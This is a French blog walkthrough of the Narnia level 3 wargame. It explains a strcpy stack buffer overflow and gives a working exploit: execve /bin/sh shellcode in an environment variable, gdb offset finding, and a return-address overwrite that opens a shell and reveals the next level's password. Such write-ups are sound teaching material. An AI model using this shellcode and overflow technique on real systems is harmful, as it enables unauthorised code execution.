lundi 17 octobre 2011

Challenge sur intruded - Narnia Level3

Le niveau3 de Narnia continue dans la thématique des deux précédents. Nous avons vu comment écraser des données dans la mémoire (niveau 1), et ce qu'est un shellcode (niveau2).
Le code du niveau3 est le suivant:

/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[]){
        char buf[128];
        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        seteuid(1004);
        strcpy(buf,argv[1]);
        printf("%s", buf);
        return 0;
}

L'exploitation semble moins triviale, mais n'importe quel programmeur peut constater la présence de la fonction strcpy qui va dupliquer dans un buffer de taille fixe (128 octets) le contenu de ce qui est passé en argument au programme, et qui donc peut faire plus de 128 octets. Il est donc possible d'écraser une partie de la mémoire avec un contenu que l'on maîtrise. Aucune variable n'est à remplacer, nous allons donc essayer de détourner le flux d'exécution du programme. Le programme va appeler strcpy, puis continuer le programme et faire le printf. Au lieu de lui faire appeler printf, forçons le à aller ailleurs. Le .gif animé du level1 de Narnia explique ça très bien.
Exploitation après le saut.

Le level2 parlait de variables d'environnements. Est-il possible d'en utiliser, i.e. placer un shellcode dans une variable d'environnement puis demander à l'exécuter? Oui, si on connaît son adresse. Et nous avons de la chance, les machines de Narnia ne randomizent pas l'espace:
level3@narnia:/tmp/aaa$ cat /proc/sys/kernel/randomize_va_space
0
Donc nous allons réutiliser le shellcode du level2:
level3@narnia:/tmp/aaa$ EGG=`printf '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'`
level3@narnia:/tmp/aaa$ export EGG
Puis écrire un programme permettant de connaître son adresse:
level3@narnia:/tmp/aaa$ cat envenv.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void){
  char *p = NULL;
  p = getenv("EGG");
  printf("@EGG= %p\r\n", p);
  return 0;
}
level3@narnia:/tmp/aaa$ make envenv
cc     envenv.c   -o envenv
level3@narnia:/tmp/aaa$ /tmp/aaa/envenv
@EGG= 0xbffffc48
Attention, il est nécessaire que le nom du programme calculant l'adresse fasse la même taille que le programme victime: "/wargame/level3" = "/tmp/aaa/envenv". Pourquoi, car ce nom est enregistré dans la mémoire du processus (argv[0]), décalant ainsi l'adresse de la variable d'environnement.

Il est désormais nécessaire de savoir où on écrase l'adresse de retour à l'aide de la fonction strcpy. Quelques essais avec gdb donnent la solution:
(gdb) r `python -c "print 'a'*200"`
Starting program: /wargame/level3 `python -c "print 'a'*200"`

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) info reg
eax            0x0      0
ecx            0xb7fe0434       -1208089548
edx            0xb7fe1448       -1208085432
ebx            0xb7fdfff4       -1208090636
esp            0xbffffa10       0xbffffa10
ebp            0x61616161       0x61616161
esi            0x0      0
edi            0xb8000cc0       -1207956288
eip            0x61616161       0x61616161
eflags         0x10282  [ SF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
Avec quelques essais-erreurs, on observe que l'EIP est ecrasé à partir du 140e caractère entré.
L'EIP, c'est le pointeur d'instruction, c'est à dire que le programme va continuer à exécuter le code disponible à cette adresse. Le programme échoue ici (SIGSEGV) car il serait étonnant de trouver du code accessible et exécutable à 0x61616161 dans la mémoire.

L'adresse du shellcode est à 0xbffffc48, ce qui donne \x48\xfc\xff\xbf car les adresses s'écrivent à l'envers. L'exploitation devient donc:
level3@narnia:/tmp/aaa$ /wargame/level3 `python -c "print 'A'*140+'\x48\xfc\xff\xbf'"`
sh-3.1$ cat /home/level4/.passwd
qobiLKAU
sh-3.1$ exit
level3@narnia:/tmp/aaa$ su - level4
Password:
level4@narnia:~$
Exploitation propre. strcpy copie le buffer, écrase EIP avec une adresse. Le programme continue sur cette adresse, contenant un shellcode, exécution.

2 commentaires:

  1. Bonjour,
    Sympa comme petit challenge pour ceux qui veulent apprendre. j'ai juste pas compris un détaille, à quoi bon utiliser des directives préprocesseur #include à répétition sans argument?

    RépondreSupprimer
  2. Les arguments des directives include sont entre symboles < et >. La plateforme blogger l'a pris pour un paramètre HTML et ne l'a donc pas affiché.

    C'est corrigé, merci.

    RépondreSupprimer